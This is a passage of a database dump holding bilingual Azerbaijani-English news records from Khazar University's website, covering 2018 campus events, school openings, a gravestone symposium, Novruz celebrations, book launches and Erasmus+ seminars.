İsmayıllı rayonunda keçirilib.</p><p>Azərbaycan Respublikası Prezidenti yanında Bilik Fondunun, Azərbaycan Yazıçılar Birliyinin (AYB) dəstəyi ilə uşaq kitabxanasının böyük zalında keçirilən tədbirdə rayon icra hakimiyyəti aparatının məsul əməkdaşları, təhsil, mədəniyyət işçiləri, məktəblilər iştirak edib.</p><p>Məmməd Arazın qızı&nbsp;–  <span style=\"font-size:13.5pt\"></span>“Ədalət” qəzetinin baş redaktoru İradə Tuncayın və millət vəkili, yazıçı Aqil Abbasın da qatıldığı ədəbi-musiqili məclis Xalq Şairinin öz ifasında lentə alınmış şeirinin oxunması ilə başlayıb. Tədbirin aparıcısı, layihə rəhbəri –   Xəzər Universitetinin müəllimi, şair Qardaşxan Əzizxanlı Məmməd Araz yaradıcılığının Azərbaycan ədəbiyyatındakı rolundan geniş danışıb. Tədbirdə çıxış edən Aqil Abbas, rayon icra başçısının müavini Sevil Əhmədova, icra hakimiyyətinin məsul işçisi Murad Məhərrəmov tərəfindən “Məmməd Araz poeziya müsabiqəsi”nin qalibi və iştirakçısı olmuş məktəblilərə Azərbaycan Respublikası Prezidenti yanında Bilik Fondunun təsis etdiyi diplomlar, təşəkkürnamələr təqdim olunub.</p><p>Tədbirin bədii hissəsində müğənni Qalib Güləliyev şairin şeirlərinə bəstələnmiş mahnıları ifa edib.</p>'),(5999,3426,'az','“Məktəbdə ilk günüm” adlı açılış tədbiri keçirildi','2018-ci il sentyabrın 13-də “Dünya” məktəbində 1-ci siniflərin “Məktəbdə ilk günüm” adlı açılış tədbiri...','<p>2018-ci il sentyabrın 13-də “Dünya” məktəbində 1-ci siniflərin “Məktəbdə ilk günüm” adlı açılış tədbiri keçirildi. Məktəb rəhbərliyi, müəllimlər, 1-ci sinfə ilk qədəmlərini qoyan balacalar və onların valideynlərinin iştirakı ilə keçirilən bayram tədbirində sevinc, təntənə, kövrək duyğular, gözəl musiqilər və rəqslər bir-birinə qovuşdu. Öncə məktəb haqqında film nümayiş etdirildi.</p><p>Daha sonra Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış edərək, hər bir uşağın gələcəyində, onun inkişafı və zövqünün formalaşmasında təhsil aldığı məktəbin xüsusi əhəmiyyət kəsb etdiyini vurğuladı. H.İsaxanlı “Dünya” məktəbinin Xəzər Universitetinin nəzdində fəaliyyət göstərdiyini, məktəbin 3 – Azərbaycan, ingilis, rus bölmələrindən ibarət olması onun üstün, mütərəqqi cəhətlərindən biri olduğunu bildirdi.</p><p>Professor Hamlet İsaxanlı 1-ci sinfə başlayan balacaları və valideynləri təbrik edərək, “Dünya” məktəbinin bir tərəfdən dünya vətəndaşı, digər tərəfdən dünyanı başa düşən hərtərəfli Azərbaycan vətəndaşı yetişdirdiyini qeyd etdi.</p>'),(6000,3426,'en','Opening ceremony “My first day at school”','On September 13, 2018, the opening ceremony “My first day at school” for first-grade pupils was held...','<p>On September 13, 2018, the opening ceremony “My first day at school” for first-grade pupils was held at “Dunya” school. The ceremony, accompanied by a mixture of tender feelings, festivity, music and dance, was attended by school administration, teachers, first-grade pupils and their parents. First, a movie about the school was demonstrated.</p><p>Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a speech underlining that a school plays an important role in the development of children and their future. H. Isakhanli also mentioned that “Dunya” school is affiliated with Khazar University and consists of 3, Azeri, English and Russian, divisions which is an indicator of its progressiveness.</p><p>Prof. Hamlet Isakhanli congratulated children and their parents and remarked that “Dunya” school educates pupils as Azerbaijani and world citizens who are fully conscious of the world.</p>'),(6001,3427,'az','Sumqayıt “Dünya” məktəbində yeni dərs ilinin açılışı oldu','2018-ci il sentyabrın 14-də Sumqayıt “Dünya” məktəbində yeni dərs ilinin açılışı münasibətilə tədbir...','<p>2018-ci il sentyabrın 14-də Sumqayıt “Dünya” məktəbində yeni dərs ilinin açılışı münasibətilə tədbir keçirildi. Məktəb rəhbərliyi, şagird, müəllim, valideyn kollektivinin birgə iştirakı ilə keçirilən tədbir Xəzər Universitetinin tələbələri və “Dünya” məktəbinin şagirdlərindən ibarət rəqs qrupunun təntənəli çıxışları ilə bəzəndi.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı bu günü təhsilin bayramı adlandıraraq, təhsil günü münasibətilə hamını təbrik etdi. Professor İsaxanlı qloballaşan dünyada öz xalqının musiqisini, ədəbiyyatını, mədəniyyətini gözəl bilməklə yanaşı, həm də dünyanı yaxşı başa düşən, insanların bərabər olduğunu dərk edən şagirdlərin yetişdirilməsinin zəruri olduğunu vurğuladı. Hamlet İsaxanlı bunun üçün beynəlxalq təhsil proqramlarının tərtib olunmasının və beynəlxalq dillərə üz tutmağın vacibliyini qeyd etdi.</p><p>O, Sumqayıtın Azərbaycanın üç böyük şəhərindən biri olduğunu bildirək, Sumqayıt “Dünya” məktəbində ən güclü pedaqoqların toplaşdığını və məktəbdə şagirdlərin daha yaxşı təhsil almaları üçün hər cür şərait yaradıldığını və bu şəraitin daha da genişləndiriləcəyini dedi.</p><p>Əllərində gül dəstələri ilə məktəbə ilk qədəmlərini qoyan birincilər, valideynlər xüsusi maraq və həvəslə məktəblə daha yaxından tanış oldular.</p>'),(6002,3427,'en','Opening ceremony for a new academic year at Sumgait “Dunya” school','On September 14, 2018, on the occasion of the beginning of a new academic year, an event was held...','<p>On September 14, 2018, on the occasion of the beginning of a new academic year, an event was held at Sumgait “Dunya” school. The school administration, teachers, students and parents attended the event which became more entertaining with a performance of the dance group consisting of students of Khazar University and pupils of “Dunya” school.</p><p>Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, called that day an education holiday and congratulated everyone on the day of education. He also mentioned that it is important that we educate students who are aware of music, literature and culture of their people along with having a good understanding of the world and equality of people. To achieve this purpose, H. Isakhanli stressed the importance of preparing international education programs and learning foreign languages.</p><p>H.Isakhanli remarked that Sumgait is one of the three biggest cities of Azerbaijan and added that the best pedagogues are teaching at Sumgait “Dunya” school and there is a suitable environment for education which is gradually being developed.</p><p>With bunches of flowers in their hands, first-grade pupils and their parents became familiar with the school with special interest and enthusiasm.</p>'),(6003,3428,'az','I Beynəlxalq Ənənəvi Türk Məzar Daşları simpoziumunun açılışı mətbuat səhifələrində','Xəbər verildiyi kimi, 2018-ci il sentyabrın 19-da təşkilatçılardan birinin Xəzər Universiteti olduğu...','<p>Xəbər verildiyi kimi, 2018-ci il sentyabrın 19-da təşkilatçılardan birinin Xəzər Universiteti olduğu I Beynəlxalq Ənənəvi Türk Məzar Daşları simpoziumunun açılışı olmuşdur.</p><p>Bu haqda respublika mediasında yayınlanmış materialların bir qismini bu linklər vasitəsilə izləmək olar:</p><p><a href=\"http://az.strategiya.az/index.php?do=xeber&amp;id=135236\">http://az.strategiya.az/index.php?do=xeber&amp;id=135236</a>;</p><p><a href=\"http://xalqqazeti.com/az/news/3629\">http://xalqqazeti.com/az/news/3629</a>;</p><p><a href=\"http://olaylar.az/news/medeniyyet/296742\">http://olaylar.az/news/medeniyyet/296742</a>.</p>'),(6004,3428,'en','Opening of “I International Traditional Turkic Peoples\' Gravestone Symposium” in Media','As mentioned before, on September 19, 2018, an opening ceremony for “I International Traditional...','<p>As mentioned before, on September 19, 2018, an opening ceremony for “I International Traditional Turkic Peoples\'   Gravestone Symposium”, was conducted at Khazar University, which was one of the organizers of the event.</p><p>National media published news about the event some of which is available through the following links:</p>  \r\n<p><a href=\"http://az.strategiya.az/index.php?do=xeber&amp;id=135236\">http://az.strategiya.az/index.php?do=xeber&amp;id=135236</a>;</p><p><a href=\"http://xalqqazeti.com/az/news/3629\">http://xalqqazeti.com/az/news/3629</a>;</p><p><a href=\"http://olaylar.az/news/medeniyyet/296742\">http://olaylar.az/news/medeniyyet/296742</a>.</p>'),(6005,3429,'az','“I Türk Məzar Daşları Simpoziumu”nun rəsmi açılışı oldu','2018-ci il sentyabrın 19-da Azərbaycan Milli Tarix Muzeyində Erciyez Universitəsi, Xəzər Universiteti,...','<p>2018-ci il sentyabrın 19-da Azərbaycan Milli Tarix Muzeyində Erciyez Universitəsi, Xəzər Universiteti, Milli Tarix Muzeyi və Türk Tarih Kurumunun təşkilatçılığı ilə “I Türk Məzar Daşları Simpoziumu”nun rəsmi açılışı oldu. Açılışda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Milli Tarix Muzeyinin direktoru akademik Nailə Vəlixanlı, Erciyez Universitəsinin professoru Celil Arslan və digər şəxslər çıxış etdilər.</p><p>Günün ikinci yarısı Simpozium öz işini Xəzər Universitetində davam etdirdi.</p>'),(6006,3429,'en','Official Opening of “I Turkic Peoples\' Gravestone Symposium”','On September 19, 2018, on an organizational support of Erciyez University, Khazar University, National Museum...','<p>On September 19, 2018, on an organizational support of Erciyez University, Khazar University, National Museum of History and Turkish Historical Society, an official opening ceremony of “I Turkic Peoples\'  Gravestone Symposium” was held at Azerbaijan National Museum of History. At the ceremony, Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees; Academician Naila Valikhanli, Director of National Museum of History; Prof.Jalil Arslan, Erciyez University, delivered speeches.</p><p>On the second half of the day, the Symposium continued at Khazar University.</p>'),(6007,3430,'az','Tarix və arxeologiya departamentinin müəlliminin yeni kitabı işıq üzü gördü','Bakının Qurtuluşunun 100 illiyi münasibəti ilə Xəzər Universiteti Tarix və arxeologiya departamentinin...','<p>Bakının Qurtuluşunun 100 illiyi münasibəti ilə Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi tarix elmləri doktoru, professor Nəsiman Yaqublunun “Qafqaz İslam Ordusunun Azərbaycanda izləri” kitabı “Nurlar” nəşriyyatında çapdan çıxmışdır.</p><p>Kitabda Qafqaz İslam Ordusunun azad etdiyi bütün bölgələr haqqında məlumat verilməklə yanaşı, bu savaşlarda şəhid olmuş və bugünədək Azərbaycanın müxtəlif bölgələrində qorunub saxlanılan türk əsgərlərinin məzarları ilə də bağlı məlumatlar var.</p><p>Yaxın günlərdə kitabın geniş təqdimatı keçiriləcək.</p>'),(6008,3430,'en','A New Book by Professor of Archaeology and History Department Published','On the occasion of the 100th anniversary of Liberation of Baku, the book “Traces of the Caucasian Islamic...','<p>On the occasion of the 100<sup>th</sup> anniversary of Liberation of Baku, the book “Traces of the Caucasian Islamic Army in Azerbaijan” by Nasiman Yagublu, Doctor of Historical Sciences, instructor of History and Archeology Department of Khazar University, was published in the “Nurlar” publishing house.</p><p>The book also provides information on all the regions liberated by the Caucasian Islamic Army, as well as information on the graves, of Turkish soldiers who were martyred in these battles, preserved in different parts of Azerbaijan.</p><p>The book will be widely presented in the coming days.</p>'),(6009,3431,'az','Xəzər Universitetinin müəllimi Ümumdünya festivalında','Xəzər Universitetinin müəllimi, modelyer-dizayner, Azərbaycan Milli Geyimlər Mərkəzinin rəhbəri, sənətşünaslıq üzrə fəlsəfə...','<p>Xəzər Universitetinin müəllimi, modelyer-dizayner, Azərbaycan Milli Geyimlər Mərkəzinin rəhbəri, sənətşünaslıq üzrə fəlsəfə doktoru Gülnarə Xəlilova Azərbaycan Respublikası Mədəniyyət Nazirliyinin dəstəyi ilə 2018-ci il sentyabrın 2-dən 8-dək Qırğızıstanın Çolpon-Ata şəhərində keçirilmiş III Ümumdünya Köçəri Oyunları və Beynəlxalq Etnomədəniyyət Festivalında Azərbaycanı təmsil etmişdir.</p><p>Yetmiş yeddi ölkədən iştirakçıların gəldiyi Ümumdünya festivalında Gülnarə Xəlilova milli Azərbaycan geyimlərinin müasir stilistikada hazırladığı on nümunəsini “Turan” adı ilə nümayiş etdirmişdir. Geyimlərin nümayişi İssık-Kul gölünün sahilindəki amfiteatrda keçmiş, iştirakçıların böyük marağına səbəb olmuşdur.</p><p><strong><em>Sputnik.az</em></strong> xəbər saytı bu barədə xəbər yayımlamışdır. Xəbəri bu linkdə oxumaq olar:&nbsp;</p><p><a href=\"https://ru.sputnik.az/culture/20180914/417027506/gjulnara-halilova-kyrgyzstan.html\">https://ru.sputnik.az/culture/20180914/417027506/gjulnara-halilova-kyrgyzstan.html</a>.</p>'),(6010,3431,'en','Khazar University instructor at the world festival','Gulnara Khalilova, Khazar University Instructor, PhD in Art Studies, Director of Azerbaijan National Clothes...','<p>Gulnara Khalilova, Khazar University Instructor, PhD in Art Studies, Director of Azerbaijan National Clothes Center, represented Azerbaijan, by the support of the Ministry of Culture of the Republic of Azerbaijan, in the III World Nomad Games and International Ethnoculture Festival held on September 2-8, 2018, in Cholpan-Ata city of Kyrgyzstan.</p><p>Participants from 77 countries participated in the world festival. Gulnara Khalilova demonstrated ten samples of Azeri clothes, prepared by herself, in modern style under the name “Turan”. The demonstration of clothes was held in an amphitheatre situated on the coast of Issyk-Kul Lake and evoked participants’ interest.</p><p><strong><em>Sputnik.az</em></strong> news portal posted news on this event. Further information is available through the following link:</p>  \r\n<p><a href=\"https://ru.sputnik.az/culture/20180914/417027506/gjulnara-halilova-kyrgyzstan.html\">https://ru.sputnik.az/culture/20180914/417027506/gjulnara-halilova-kyrgyzstan.html</a>.</p>'),(6011,3432,'az','Qafqaz İslam Ordusu Xəzər Universitetində anıldı','2018-ci il sentyabrın 18-də Xəzər Universitetində Bakının işğaldan azad olunmasının 100 illik yubileyinə həsr olunmuş...','<p>2018-ci il sentyabrın 18-də Xəzər Universitetində Bakının işğaldan azad olunmasının 100 illik yubileyinə həsr olunmuş tədbir haqqında xəbər saytlarında məlumat yayınlanmışdır.</p><p>Daha geniş məlumatı bu linklər vasitəsilə almaq olar:</p><p><a href=\"https://yenicag.az/yunus-emre-institutu-xezer-universitetinde-qurtulus-gununu-qeyd-etdi-fotolar/\">https://yenicag.az/yunus-emre-institutu-xezer-universitetinde-qurtulus-gununu-qeyd-etdi-fotolar/</a>;</p><p><a href=\"http://vetenim.info/?p=85050\">http://vetenim.info/?p=85050</a>.</p>'),(6012,3432,'en','Islamic Army of the Caucasus commemorated at Khazar University','On September 18, 2018, information portals posted news on the event at Khazar University dedicated...','<p>On September 18, 2018, information portals posted news on the event at Khazar University dedicated to the 100<sup>th</sup> anniversary of the liberation of Baku.</p><p>Further information is available through the following links:</p>  \r\n<p><a href=\"https://yenicag.az/yunus-emre-institutu-xezer-universitetinde-qurtulus-gununu-qeyd-etdi-fotolar/\">https://yenicag.az/yunus-emre-institutu-xezer-universitetinde-qurtulus-gununu-qeyd-etdi-fotolar/</a>;</p><p><a href=\"http://vetenim.info/?p=85050\">http://vetenim.info/?p=85050</a>.</p>'),(5253,3045,'az','“Xəzər”də Novruz şənliyi','2018-ci il martın 19-da Xəzər Universitetində Novruz münasibətilə bayram şənliyi keçirildi...','<p>2018-ci il martın 19-da Xəzər Universitetində Novruz münasibətilə bayram şənliyi keçirildi. Tədbirdə universitetin rəhbərliyi, dekanlar və departament müdirləri, əməkdaşlar, tələbələr və qonaqlar iştirak edirdilər.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı iştirakçıları təbrik etdi, əməkdaşlara fəaliyyətlərində, tələbələrə təhsillərində uğurlar arzuladı və bayram tonqalını yandırdı.</p><p>İştirakçılara universitetin Musiqi və incəsənət departamentinin hazırladığı konsert proqramı təqdim olundu.</p>'),(5254,3045,'en','Novruz party at Khazar University','On March 19, 2018, Khazar University hosted Novruz celebration...','<p>On March 19, 2018, Khazar University hosted Novruz celebration. The event was attended by the leadership of the university, deans and head of departments, employees, students and guests.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, congratulated the participants, wished success to the employees in their activities and students in their education, and lit up the Novruz bonfire.</p><p>The concert was presented to the participants by the Department of Music and Fine Arts, Khazar University.</p>'),(5255,3046,'az','“Gəlin birlikdə mütaliə edək”adlı tədbir baş tutdu','2018-ci il martın 16-da Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin təşkilatçılığı ilə...','<p>2018-ci il martın 16-da Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin təşkilatçılığı ilə “Gəlin birlikdə mütaliə edək”adlı tədbir keçirildi. Tədbiri Kitabxana-İnformasiya Mərkəzinin əməkdaşı Esmira Hüseynova giriş sözü ilə açaraq, mütaliə mədəniyyətindən danışdı.</p><p>Tədbirdə müasir dövrdə oxucuların ən çox müraciət etdiyi janrlardan bəhs edildi. Kitabxana-İnformasiya Mərkəzinin fəal oxucuları tədbirdə maraqla çıxış etdilər. Belə tədbirlərin onların mütaliə vərdişlərinin yüksəldilməsində böyük rolu olduğunu vurğuladılar. Bu tədbirlərin silsilə şəklində davam etdirilməsi planlaşdırıldı.</p><p>Sonda fəal oxuculara Kitabxana-İnformasiya Mərkəzi tərəfindən sertifikatlar təqdim edildi.</p>'),(5256,3046,'en','“Let’s read together” project implemented','On March 16, 2018, Library and Information Center of Khazar University hosted...','<p>On March 16, 2018, Library and Information Center of Khazar University hosted an event entitled “Let’s read together”. Esmira Huseynova, representative of Library and Information Center, delivered an opening speech talking about reading culture.</p><p>Speakers talked about the most favorite genres in modern times. Active members of Library and Information Center participated at the workshop with great interest, and mentioned that these kinds of activities contribute to their reading culture. The Center is planning to regularly conduct such kind of workshops.</p><p>Active members were presented with certificates by Library and Information Center.</p>'),(5257,3047,'az','Azərbaycan Xalq Cumhuriyyətinin 100 illik yubileyinə həsr olunmuş “Mühacirlərin dönüşü” adlı açıq mühazirə','2018-ci il martın 16-da Xəzər Universitetində Azərbaycan Xalq Cümhuriyyətinin...','<p>2018-ci il martın 16-da Xəzər Universitetində Azərbaycan Xalq Cümhuriyyətinin 100 illik yubileyinə həsr olunmuş “Mühacirlərin dönüşü” adlı açıq mühazirə keçirildi. Siyasi elm və beynəlxalq münasibətlər departamentinin təşkilatçılığı ilə baş tutan tədbirin qonaq mühazirəçisi 2012-ci ildən Azərbaycan Xalq Cümhuriyyəti və mühacirət tarixi ilə bağlı araşdırma aparan jurnalist-yazar, kolleksiyaçı Dilqəm Əhməd idi. Tədbirdə, həmçinin, Dilqəm Əhmədin kolleksiyasına aid cümhuriyyət dövrünün nadir foto və sənədləri də sərgilənmiş və “Mühacirlərin dönüşü” və “Fərqlilər” kitablarının təqdimatı və imza günü keçirildi.</p>'),(5258,3047,'en','An open lecture \"Return of Exiled Intellectuals of ADR \" dedicated to the 100th anniversary of the Azerbaijan Democratic Republic','An open lecture on “Return of Exiled Intellectuals of ADR”, dedicated to the...','<p>An open lecture on “Return of Exiled Intellectuals of ADR”, dedicated to the 100<sup>th</sup> anniversary of the Azerbaijan Democratic Republic, was held on March 16, 2018, with an organisational support of the Department of Political Sciences and International Relations of Khazar University. The lecturer was Dilgam Ahmad, a collector and journalist-writer, who has been researching the Azerbaijan Democratic Republic and history of the exiled intellectuals since 2012. On the same day, unique photos and documents of Democratic Republic, which belong to Dilgam Ahmad’s collection, were demonstrated. Moreover, it was a presentation and signature day of the books \"Return of Exiled Intellectuals\" and “The Distinguished” by Dilgam Ahmad.</p>'),(5259,3048,'az','“Xəzər”ə Novruz təbriki','2018-ci il martın 16-da İran İslam Respublikasının Azətbaycandakı səfirliyinin Mədəniyyət...','<p>2018-ci il martın 16-da İran İslam Respublikasının Azətbaycandakı səfirliyinin Mədəniyyət Mərkəzinin sədri Əsğər Farsi Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya Novruz bayramı münasibətilə təbrik məktubu göndərmişdir. Məktubda Əsğər Farsi Azərbaycan xalqına, o cümlədən Xəzər Universitetinin kollektivinə xoş arzularını bildirir.</p>'),(5260,3048,'en','Novruz congratulation to “Khazar”','Asghar Farsi, Iran\'s Cultural Attaché at Embassy of the Islamic Republic of Iran...','<p>Asghar Farsi, Iran\'s Cultural Attaché at Embassy of the Islamic Republic of Iran in Azerbaijan, sent a congratulatory letter to Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, on the occasion of Novruz holiday, on March 16, 2018.</p><p>In the letter, Asghar Farsi expressed his best wishes for Azerbaijani people and staff of Khazar University.</p>'),(5262,3050,'en','Preliminary defense of doctoral thesis','On April 5, 2018, at 12:00, English language and Literature department will hold preliminary...','<p>On April 5, 2018, at 12:00, English language and Literature department will hold preliminary defense of PhD candidate Abbasova Milana on “Modern tendencies in English language research from sociolinguistic approach”. Those interested can get familiar with the thesis at the Department of English and Literature. The pre defense will take place at Khazar University (room 102N). All interested are invited.</p><p style=\"text-align:right\"><strong>Research and Post Graduate Department</strong></p>'),(5263,3051,'az','Xəzər Universitetində tədris və təlim strategiyasının inkişafı ilə bağlı PETRA təlimi','2018-ci il martın 14-də Xəzər Universitetinin komandası tədris və təlim strategiyasının inkişafı ilə bağlı...','<p>2018-ci il martın 14-də Xəzər Universitetinin komandası tədris və təlim strategiyasının inkişafı ilə bağlı ERASMUS+ PETRA layihəsi çərçivəsində təlim keçirdi. Təlimin əsas məqsədi Azərbaycanın yeddi universitetinə baş çəkməklə, onların tədris və təlim strategiyasını inkişaf etdirmək idi. Təlim layihənin vəzifələri, məqsədləri və nəticələrinin yenidən nəzərdən keçirilməsi ilə başladı. Daha sonra tədris və təlimdə mükəmməlik konseptinin müzakirəsi ilə davam etdi. Təlimin son 2 saatı ərzində nümayəndələr hər bir universitetin tədris və təlimdə zəif və güclü tərəflərini analiz etdilər. Onların tədris və təlim üçün yaratdıqları şəraiti, eləcə də, sözü gedən layihənin hər bir universitet daxilində reallaşdırılması dövründə rastlaşacağı maneələri müzakirə edərək, nəzərə çatdırdılar. Hər bir tərəfdaş universitetin tədris və təlimə dair yeni strategiyasını təqdim və müzakirə etməsi üçün PETRA layihəsi çərçivəsində növbəti yerli görüşün aprelin 12-də Xəzər Universitetində keçirilməsi barədə razılığa gəlindi.</p><p>Təhsil Nazirliyinin nümayəndələri görüşdə aktiv iştirak etdilər və layihənin həyata keçirilməsi ilə bağlı fikirlərini bölüşdülər.</p>'),(5264,3051,'en','PETRA workshop on Teaching and Learning strategy development at Khazar University','On March 14, 2018, Khazar University team conducted a Workshop on Teaching and Learning...','<p>On March 14, 2018, Khazar University team conducted a Workshop on Teaching and Learning (T&amp;L) Strategy development within PETRA Erasmus+ project. The objective of the workshop was to assist other seven Azerbaijani universities to develop their T&amp;L strategies. The workshop started with overall review of project’s objectives, goals and outcomes, then it followed with the discussions of the concept of Excellence in Teaching and Learning. During the last 2 hours of the workshop, representatives analyzed strengths and weaknesses of each university in Teaching and Learning, discussed and presented what were the conditions they create for teaching and learning, what might be the obstacles for implementing this project within each university. The next national meeting within PETRA project agreed to take place on 12th of April at Khazar University to present and discuss the new strategy on Teaching and Learning of each partner university.</p><p>Representatives of the Ministry of Education also actively participated in the meeting and shared their ideas and visions on the project implementation.</p>'),(6141,3498,'az','Karyera Mərkəzi tələbələr üçün təlim keçirdi','2018-ci il oktyabrın 8-də Xəzər Universiteti Karyera Mərkəzi universitetin tələbələri...','<p>2018-ci il oktyabrın 8-də Xəzər Universiteti Karyera Mərkəzi universitetin tələbələri üçün “Xaricdə təqaüdlə təhsil almaq”la bağlı təlim həyata keçirdi. Təlimi Xəzər Universiteti Karyera Mərkəzinin meneceri Səbinə Allahverənova təşkil etmişdi. Təlimdə müxtəlif fakültələrin tələbələri iştirak edirdilər. Təlimdə onlara ümumi təqaüd proqramları və universitetlərə müraciətlə bağlı hazırlamalı olduqları sənədlər və tədqiqat strategiyaları ilə bağlı məlumat verildi. Təlimin əsas məqsədi, xaricdə təhsilini davam etdirmək istəyən tələbələri dəstəkləyərək, onların karyera planlarını müəyyənləşdirmək idi.&nbsp;</p><p>Bir saat yarım davam edən təlimdə iştirakçılar onları maraqlandıran suallara cavab tapdılar.</p>'),(5265,3052,'az','“Miqrasiyanın iqtisadi və sosial aspektləri: çağırışlar və miqrasiya siyasəti” mövzusunda seminar-təlim','2018-ci il martın 30-da Xəzər Universitetində Erasmus+ “Universitetdə miqrasiya təhsilinin təşviqi...','<p>2018-ci il martın 30-da Xəzər Universitetində Erasmus+ “Universitetdə miqrasiya təhsilinin təşviqi” (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) layihəsi çərçivəsində “Miqrasiyanın iqtisadi və sosial aspektləri: çağırışlar və miqrasiya siyasəti” mövzusunda İqtisadiyyat və menecment fakültəsi, Miqrasiya Araşdırmalar Mərkəzi və İnkişaf Mərkəzinin təşkilatçılığı ilə bir günlük seminar-təlim keçiriləcək. Seminarın təlimçiləri Alikante Universitetinin (İspaniya) əməkdaşları Dr. Oana Driha və Dr. Maria-Jemenez Delgadodur. Tədbirdə əsasən miqrasiya və iqtisadi inkişaf, miqrasiyanın sosial-mədəni aspektləri, miqrasiya və təhsil məsələlərinə toxunulacaq. Seminar-təlim, həmçinin, eyni adlı layihə haqqında məlumatın ölkəmizin ali təhsil müəssisələri arasında yayılması məqsədini daşıyır.</p><p>Maraqlananlar təlimdə iştirak etməyə dəvət olunurlar. Tədbirdə iştirak etmək istəyənlərin martın 29-na qədər e-mail vasitəsilə xəbər verməsi xahiş olunur.</p><p>Əlavə məlumat üçün İnkişaf Mərkəzinin əməkdaşı Ülkər Bayramova (<strong>E-mail:</strong> <a href=\"mailto:ubayramova@khazar.org\">ubayramova@khazar.org</a>. <strong>Telefon:</strong> (012) 421-10-93 (dax. 249)) ilə əlaqə saxlamaq olar.</p>'),(5266,3052,'en','A seminar-training on “Economic and social aspects of migration: challenges and migration policy”','On March 30, 2018, a seminar-training on “Economic and social aspects of migration: challenges and migration policy...','<p>On March 30, 2018, a seminar-training on “Economic and social aspects of migration: challenges and migration policy” is to be held within Erasmus + “Promoting migration education at universities” project (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP), with organizational support of School of Economy and Management, Center for Migration Research, and Center for Development at Khazar University. The training will be run by Dr. Oana Driha and Dr. Maria-Jemenez Delgadodur, the representatives of Alicante University, Spain. The training will mainly deal with migration and economic development, social and cultural aspects of migration, migration and education. Moreover, the aim of the seminar-training is to disseminate information on the above-mentioned issues among the universities of Azerbaijan.</p><p>Those interested are welcome to participate. Please register via email until March 29 to participate in the training.</p><p>For further information, please contact Ulkar Bayramova, project manager of Development Centre (<strong>E-mail: </strong><a href=\"mailto:ubayramova@khazar.org\">ubayramova@khazar.org</a>.  <strong>Phone:</strong> (012) 421-10-93 (ext. 249)).</p>'),(5269,3054,'az','Tarix və arxeologiya departamentində Novruz bayramı','2018-ci il martın 16-da Xəzər Universitetinin Tarix və arxeologiya departamentinin müəllimi...','<p>2018-ci il martın 16-da Xəzər Universitetinin Tarix və arxeologiya departamentinin müəllimi Samirə Qarayevanın, departamentin əməkdaşı Akifə Cəfərlinin və Təhsil fakültəsinin tarix müəllimliyi ixtisasının 1-ci kurs tələbələrinin təşkilatçılığı ilə “Etnoqrafiya” dərsində Novruz bayramı keçirildi. Tələbələr Novruz bayramına həsr edilmiş təqdimat və videolar təqdim etdilər. Xəzər Universitetinin bəzi əcnəbi tələbələri də qonaq olaraq dəvət edilmişdilər. Bayram ənənələrinə uyğun bəzədilmiş süfrə arxasında tarix müəllimliyi ixtisasının 1-ci kurs tələbələri əcnəbi tələbələrə Novruz bayramının adət və ənənələri haqqında məlumat verdilər. Görüş çox xoş və səmimi keçdi.  </p>'),(5270,3054,'en','Novruz holiday at the Department of History and Archeology','On March 16, 2018, Novruz holiday was commemorated at “Ethnography” lesson on the initiative...','<p>On March 16, 2018, Novruz holiday was commemorated at “Ethnography” lesson on the initiative of Samira Garayeva, instructor of the Department of History and Archeology, Akifa Jafarli, employee of the department and first year students majoring in History from School of Education. The students demonstrated presentations and videos dedicated to Novruz. Some of the international students of Khazar University were also invited to the ceremony. Sitting at the table decorated in accordance with holiday traditions, the first year students told international students about the traditions of Novruz holiday. The ceremony left a nice impression on the participants.</p>'),(5271,3055,'az','Xəzər Universiteti müəlliminin təşəbbüsü ilə tədbir keçirildi','2018-ci il martın 22-də yenicə yaradılmış Cəlilabad Poeziya klubu Beynəlxalq Poeziya günü...','<p>2018-ci il martın 22-də yenicə yaradılmış Cəlilabad Poeziya klubu Beynəlxalq Poeziya günü münasibətilə Novruz bayramı günlərində Azərbaycan Yazıçılar Birliyi (AYB) Lənkəran filialının qonağı oldu. Tədbir iştirakçılarını AYB Lənkəran filialının təmsilçisi Ağamir Cavad salamladı. Sonra “Bu yaz bir başqa yazdır...” devizi altında keçirilən görüşün ideya müəllifi Xəzər Universitetinin müəllimi Qardaşxan Əzizxanlı tədbirin məqsədi barədə danışdı. O bildirdi ki, qarşıdan respublikanın ictimai-siyasi həyatında çox mühüm rol oynayacaq prezident seçkiləri və dövlət səviyyəsində qeyd ediləcək möhtəşəm yubileylər gəlir. Bu ab-hava regionların ədəbi mühitində də hiss olunmalıdır.</p><p>Cəlilabad Poeziya klubunun sədri istedadlı şair Əlizadə Nuri, mətbuat katibi filologiya üzrə fəlsəfə doktoru Bilal Alarlı, poeziya məsələləri üzrə katib Əlirza Həsrət, ev sahiblərindən yazıçı Qafar Cəfərli, şair İslam Rzayev, həmçinin, tədbirə qatılmış tanınmış şairlər Balayar Sadiq, riyaziyyat üzrə fəlsəfə doktoru Əlişirin Şükürlü və başqaları çıxış edərək, poeziyanın nəzəri məsələlərinə toxundular, yeni şeirlərini oxudular.</p><p>Tədbirin sonunda C.Cabbarlı adına Lənkəran musiqi məktəbinin müəllimləri tarzən Əbülfəz Əhmədovun müşaiyətilə xanəndə İmanverdi Ağayevin ifasında muğam və xalq mahnıları səsləndi.</p>'),(5272,3055,'en','A ceremony is held on the initiative of a Khazar University staff member','Representatives of Jalilabad Poetry Club visited 